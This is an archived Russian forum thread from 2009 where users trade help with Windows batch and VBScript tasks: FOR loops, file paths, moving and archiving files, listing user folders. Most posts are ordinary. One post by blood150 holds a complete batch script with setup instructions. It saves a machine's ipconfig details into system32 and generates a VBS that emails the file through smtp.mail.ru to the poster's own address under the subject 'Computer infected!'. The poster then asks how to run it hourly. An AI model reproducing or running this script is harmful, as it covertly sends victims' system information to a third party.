Ru-Board.club
← Вернуться в раздел «Программы»

» Командная строка, батники, сценарии (bat, cmd)

Автор: Zakkazak
Дата сообщения: 13.04.2009 15:49
Да здраствует VBS! Да здраствуют господа скриптологи! Да здраствует Ру-борд!

Добавлено:
Rush
Не сочти за абжорство

А может ли VBS перехватывать действия
Сейчас поясню.. Твой скрипт не завершается, а продолжает наблюдать за Оффлайн-броузером. Если я нажимаю Alt+F4 (или Закрыть), скрипт перехватывает и откладывает закрытие.

Для чего ? Чтоб вернуть исходный WebDown.dat (из папки Temp) на место. Потом дает возможность проге закрыться.

P.S.
Суть этого скрипта в том что, фильтрует WebDown.dat по опредеоенному критерию.
Визуально WebDown.dat это дерево копий-сайтов.
Автор: SONcemvo
Дата сообщения: 13.04.2009 16:39
Помогите написать батник, очень прошу

есть папка с архивами, нужно в каждый из архивов добавить файл!
Автор: guru431
Дата сообщения: 13.04.2009 21:58
как скопировать первое слово в первой строчке при помощи FOR?
если использовать так:
FOR /F "tokens=1" %%A IN (file.txt) DO SET num=%%A
то перебираются все первые слова в каждой строчке и копируется последнее
Автор: 01MDM
Дата сообщения: 13.04.2009 23:49
guru431

Код:
FOR /F "tokens=1" %%A IN (file.txt) DO SET num=%%A && goto:next
:next
Автор: Maza_Faka
Дата сообщения: 14.04.2009 07:32
SONcemvo

Цитата:
есть папка с архивами, нужно в каждый из архивов добавить файл!

Очень мало информации. Какие архивы? Какие файлы? Как добавлять, с заменой или переименованием?

P.S.
Правильно заданный вопрос - 50% ответа.
Автор: TruLander100
Дата сообщения: 14.04.2009 08:22
Мне кто нибудь поможет с моим вопросом?
Автор: 01MDM
Дата сообщения: 14.04.2009 08:57
TruLander100


Код:
@echo off

for /f "tokens=*" %%i in ('dir /b /s /a-d "C:\1"') do if not exist "%%~dpi123" md "%%~dpi123"
for /f "tokens=*" %%i in ('dir /b /s /a-d "C:\1"') do move "%%i" "%%~dpi123"
Автор: Rush
Дата сообщения: 14.04.2009 12:40
Zakkazak

Цитата:
А может ли VBS перехватывать действия
Сейчас поясню.. Твой скрипт не завершается, а продолжает наблюдать за Оффлайн-броузером. Если я нажимаю Alt+F4 (или Закрыть), скрипт перехватывает и откладывает закрытие.

[more=Так?]

Код:
key = "HKCU\Software\MetaProducts\Offline Explorer MX\Parameters\CurrentDir"
set wshshell = createobject("wscript.shell")
ProgramFilesPath = wshshell.expandenvironmentstrings("%ProgramFiles%")
wshshell.run """" & ProgramFilesPath & "\Offline Explorer Enterprise\OE.exe" & """" & " /exit", , true
pathDir = wshshell.regread(key)
fileWD = pathDir & "\WebDown.dat"
DelObjects fileWD, pathDir
wshshell.run """" & ProgramFilesPath & "\Offline Explorer Enterprise\OE.exe" & """", 1, true
set shapp = createobject("shell.application")
shapp.namespace(pathDir).movehere pathDir & "\Temp\WebDown.dat", 16
wscript.quit

sub DelObjects(fname, path)
set fso = createobject("scripting.filesystemobject")
set txtfile = fso.opentextfile(fname)
txt = txtfile.readall
txtfile.close
if not fso.folderexists(path & "\Temp") then fso.createfolder path & "\Temp"
set shapp = createobject("shell.application")
shapp.namespace(path & "\Temp").movehere fname, 16
arr = split(txt,"[Object]")
arrdesc = filter(arr,"Descr=")
str = left(arr(0),instr(arr(0),"ObjectsCount=")+12) & cstr(ubound(arrdesc)+1) & vbcrlf
set txtfile = fso.opentextfile(fname, 2, true)
txtfile.write str & "[Object]" & join(arrdesc,"[Object]")
txtfile.close
end sub
Автор: TruLander100
Дата сообщения: 14.04.2009 14:07
01MDM
Спасибо))) все работает на ура!!
Автор: Zakkazak
Дата сообщения: 14.04.2009 16:37

Цитата:
Прога, правда, сперва закрывается, а потом файл возвращается на место, но, насколько я понял, это не принципиально. Главное - вернуть на место оригинальный WebDown.dat

Да, верно. Я ступил почему-то... Если вернуть оригинальный до закрытия, то он перезапишется отфильтрованным..

Цитата:
Так?

Спасибо, скрипт работает исправно.
Автор: XXXXL
Дата сообщения: 14.04.2009 22:44
Здравствуйте!
Помогите пожалуйста написать бат, который при запуске пишет в файл "dinfo.txt" полный путь к директории где он находится.
Спасибо!
Автор: Maza_Faka
Дата сообщения: 15.04.2009 07:06
XXXXL

Код:
Echo %CD%>dinfo.txt
Автор: GGS
Дата сообщения: 15.04.2009 08:03
XXXXL
Maza_Faka

Код: Echo %~dp0>dinfo.txt
Автор: XXXXL
Дата сообщения: 15.04.2009 13:04
Maza_Faka, GGS, Спасибо! оба примера работаю.
Автор: GGS
Дата сообщения: 15.04.2009 14:53
XXXXL

Цитата:
Записываю директорию нахождения бат файла в dinfo.txt:

Код:
Echo %CD%>dinfo.txt

Эта команда записывает не "директорию нахождения бат файла", а путь текущего каталога.
Они совпадают в частном случае, если Вы запускаете ВАТ-файл находясь в этой же папке.
Почувствуйте разницу.
Автор: XXXXL
Дата сообщения: 15.04.2009 15:10
GGS извиняюсь, не правильно написал. Правильно так:

Записываю полный путь к той директории, в которой он находится.

Код: Echo %CD%>dinfo.txt
Автор: GGS
Дата сообщения: 15.04.2009 16:12
XXXXL

Цитата:
извиняюсь, не правильно написал. Правильно так:

Записываю полный путь к той директории, в которой он находится.

Код:
Echo %CD%>dinfo.txt

От перестановки слов суть не меняется. Опять неправильно.

Чтобы понять отличия запустите Ваш ВАТ-файл, находясь в папке отличной от той где находится этот файл.
Автор: igor_andreev
Дата сообщения: 15.04.2009 16:23
XXXXL

Цитата:
В результате получаю ошибку:
gsar: command error, not a valid detimal number : \Re

Запусти gsar без параметров и прочитай три последние строчки того, что он выдаст тебе на экран. Символ ":" надо удваивать.
Автор: XXXXL
Дата сообщения: 15.04.2009 21:47

Цитата:
Чтобы понять отличия запустите Ваш ВАТ-файл, находясь в папке отличной от той где находится этот файл.

Да, теперь я нашел отличия, очень удобно. Если я запускаю его другим батником из другой папки, то он записывает путь не того который запускаю, а того которым запускаю.


Цитата:
Символ ":" надо удваивать.

Точно, теперь всё работает.

Большое всем спасибо!
Автор: D555
Дата сообщения: 16.04.2009 06:53

Тревожит всё же важный вопрос,- а существует ли вариант команд батника для его запуска свёрнутым в панель задач ?

...просто надоедает пусть быстро, но выскакивающее окно... и если уж силами самого батника без стоонних утилит его не скрыть, - пусть уж хотя бы минимизированным выскакивало бы)
Автор: Maza_Faka
Дата сообщения: 16.04.2009 07:29
D555
HSTART; CMDOW
Автор: guru431
Дата сообщения: 16.04.2009 08:43

Цитата:
Помогите решить задачу:
В корне диска "С:" есть некая папка, имя которой может быть любым. В этой папке находится другая папка, имя которой всегда одинаково - "Folder". В папке Folder всегда будет лежать файл с именем - "Files.txt".
Вопрос: нужет батник, который найдет и удалит эту папку (имя которой неизвестно) со всем её содержимым.


Цитата:
@echo off
for /d %%i in (C:\*) do (dir /b "%%i\Folder\files.txt" 2>nul 1>&2 && rd /s /q "%%i")


Как модифицировать этот код, чтобы неизвестная папка не удалялась, а вместо этого создавалась переменная с именем этой папки?
Автор: 01MDM
Дата сообщения: 16.04.2009 09:26

Цитата:
Помогите решить задачу:
В корне диска "С:" есть некая папка, имя которой может быть любым. В этой папке находится другая папка, имя которой всегда одинаково - "Folder". В папке Folder всегда будет лежать файл с именем - "Files.txt".
Вопрос: нужет батник, который найдет и удалит эту папку (имя которой неизвестно) со всем её содержимым.


Так известна папка или нет? Если имеется ввиду родительская папка для "Folder", то

Код:
@echo off
setlocal

for /d %%i in (*) do (
dir /b "%%i\Folder\files.txt" 2>nul 1>&2 && set "var=%%~nxi"
)
echo %var%
Автор: Ni9999
Дата сообщения: 16.04.2009 09:52
Есть одна интересная задачка из разряда "сделать поудобнее".
Существует текстовый файлик (main.txt)в котором хранится общая часть, и существуют файлики (jab.cmd), в начале которого должна быть эта общая часть, и затем идет разнящаяся.
Так вот батничек должен каким-то образом вставлять в себя эту общую часть, и затем исполниться как буд-то эта общая часть изначально была в этом батнике.
Общая часть и сам батник хранится на шаре. Кодировка везде 1251.
Приемлемы все способы и заклинания :)
Автор: rosalin
Дата сообщения: 16.04.2009 10:09
Ребята может кто сталкивался есть папка с файлами вида

файлов несколько сотен тысяч

pd50000000001.msg
pd50000000002.msg
pd50000000003.msg
pd50000000004.msg
pd50000000005.msg
pd50000000006.msg
pd50000000007.msg

это почтовые сообщения подскажите скриптик который при запуске заархивирует файлы с разбивкой по месяцам , типа mm.yyyy
Автор: guru431
Дата сообщения: 16.04.2009 10:09

Цитата:
Так известна папка или нет? Если имеется ввиду родительская папка для "Folder", то

Код:
@echo off
setlocal

for /d %%i in (*) do (
dir /b "%%i\Folder\files.txt" 2>nul 1>&2 && set "var=%%~nxi"
)
echo %var%


Да, именно это. Спасибо!!! Только немного подправил для себя:

for /d %%i in (C:\*) do (
dir /b "%%i\Folder\files.txt" 2>nul 1>&2 && set "var=%%~nxi"
)
echo %var%

Автор: blood150
Дата сообщения: 16.04.2009 10:22
Хочу сильно попросить вас помоч: как сделать чтоб этот батник самозапускался через каждый час после первого нажатия на него?

@echo off
ipconfig /all > %systemroot%/system32/ip.txt
sleep 5
echo Chr(39)>%temp%\temp1.vbs
echo Chr(39)>%temp%\temp2.vbs
echo on error resume next > %temp%\temp.vbs
echo Set S = CreateObject("Wscript.Shell") >> %temp%\temp.vbs
echo set FSO=createobject("scripting.filesystemobject")>>%temp%\temp.vbs
echo Call SendPost("smtp.mail.ru", "ВАША ПОЧТА", "ВАШ@mail.ru", "Kuzja", "Копм заражен!") >> %temp%\temp.vbs
echo Function SendPost(strSMTP_Server, strTo, strFrom, strSubject, strBody) >> %temp%\temp.vbs
echo Set iMsg = CreateObject("CDO.Message") >> %temp%\temp.vbs
echo Set iConf = CreateObject("CDO.Configuration") >> %temp%\temp.vbs
echo Set Flds = iConf.Fields >> %temp%\temp.vbs
echo Flds.Item("http://schemas.microsoft.com/cdo/configuration/sendusing") = 2 >> %temp%\temp.vbs
echo Flds.Item("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate") = 1 >> %temp%\temp.vbs
echo Flds.Item("http://schemas.microsoft.com/cdo/configuration/sendusername") = "ЛОГИН" >> %temp%\temp.vbs
echo Flds.Item("http://schemas.microsoft.com/cdo/configuration/sendpassword") = "пАРОЛЬ" >> %temp%\temp.vbs
echo Flds.Item("http://schemas.microsoft.com/cdo/configuration/smtpserver") = "smtp.mail.ru" >> %temp%\temp.vbs
echo Flds.Item("http://schemas.microsoft.com/cdo/configuration/smtpserverport") = 25 >> %temp%\temp.vbs
echo Flds.Update >> %temp%\temp.vbs
echo iMsg.Configuration = iConf >> %temp%\temp.vbs
echo iMsg.To = strTo >> %temp%\temp.vbs
echo iMsg.From = strFrom >> %temp%\temp.vbs
echo iMsg.Subject = strSubject >> %temp%\temp.vbs
echo iMsg.TextBody = strBody >> %temp%\temp.vbs
echo iMsg.AddAttachment "C:\WINDOWS\system32\ip.txt" >> %temp%\temp.vbs
echo iMsg.Send >> %temp%\temp.vbs
echo End Function >> %temp%\temp.vbs
echo Set iMsg = Nothing >> %temp%\temp.vbs
echo Set iConf = Nothing >> %temp%\temp.vbs
echo Set Flds = Nothing >> %temp%\temp.vbs

start %temp%\temp.vbs
start %temp%\temp1.vbs
start %temp%\temp2.vbs

ВОТ РЕБЯ ТА ОБОЛДЕННЫЙ БАТНИК:
ПРИ НАЖАТИИ НА НЕГО СОЗДАЁТСЯ ФАИЛ (IP.TXT) В ПАПКЕ ВИНДОВС В ФАЙЛЕ СОДЕРЖИТСЯ ИНФОРМАЦИЯ О КОМПЕ IP,ИМЯ И Т.П. И ЭТОТ ФАИЛ ОТСЫЛАЕТСЯ НА ВАШУ ПОЧТУ ЭТОТ ФАИЛ.
ВАША ПОЧТА-ЗДЕСЬ НАПИШЕТЕ АДРЕС КУДА ПРИДЕТ ФАИЛ IP.TXT
ВАШ@mail.ru-ВЫ ДОЛЖНЫ СОЗДАТЬ ПОЧТУ НА mail.ru
ЛОГИН-ВАШ КОТОРЫЙ НА mail.ru
пароль-ВАШ НА mail.ru
Автор: guru431
Дата сообщения: 16.04.2009 11:36
Подскажите в чем ошибка.
Хочу получить список пользователей на компьютере.
В итоге получается только один пользователь %User1% (не срабатывает SET /A i+=1)

SET i=1
for /d %%a in ("C:\Documents and Settings\*") do (dir /b /a:h "%%a\Recent\Desktop.ini" 2>nul 1>&2 && SET "User%i%=%%~nxa" && SET /A i+=1)
echo %User1%
echo %User2%
echo %User3%
Автор: 01MDM
Дата сообщения: 16.04.2009 12:30
guru431


Код:
@echo off
setlocal enabledelayedexpansion

SET i=1
for /d %%a in ("C:\Documents and Settings\*") do (
dir /b /a:h "%%a\Recent\Desktop.ini" 2>nul 1>&2 && SET "User!i!=%%~nxa" && SET /A i+=1
)
echo %User1%
echo %User2%
echo %User3%
Автор: Maza_Faka
Дата сообщения: 16.04.2009 14:06
rosalin
Пример:

Код:
@Echo Off

Set MsgDir=c:\Test
Set ArcDir=C:\Archive

For %%A In (%MsgDir%\*.msg) Do Call :_ArcProc "%%A" %%~tA
GoTo :EOF

:_ArcProc
7z.exe a %ArcDir%\%2.zip %1

Страницы: 12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667

Предыдущая тема: SAS.Планета (часть 2)


Форум Ru-Board.club — поднят 15-09-2016 числа. Цель - сохранить наследие старого Ru-Board, истории становления российского интернета. Сделано для людей.